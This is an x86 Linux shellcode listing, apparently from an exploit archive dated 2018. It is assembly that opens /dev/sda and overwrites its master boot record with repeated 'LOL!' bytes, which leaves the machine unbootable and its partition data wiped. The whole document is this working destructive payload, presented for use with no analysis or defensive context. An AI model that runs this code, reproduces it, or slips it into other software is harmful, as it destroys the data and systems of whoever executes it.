linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes

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linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes
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; linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes
 
section .text
        global _start
 
_start:
        ; open("/dev/sda", O_WRONLY);
        mov al, 5
        xor ecx, ecx
        push ecx
        push dword 0x6164732f
        push dword 0x7665642f
        mov ebx, esp
        inc ecx
        int 0x80
 
        ; write(fd, "LOL!"x128, 512);
        mov ebx, eax
        mov al, 4
        cdq
        push edx
        mov cl, 128
        fill:
                push dword 0x214c4f4c
        loop fill
        mov ecx, esp
        inc edx
        shl edx, 9
        int 0x80




#  0day.today [2018-02-05]  #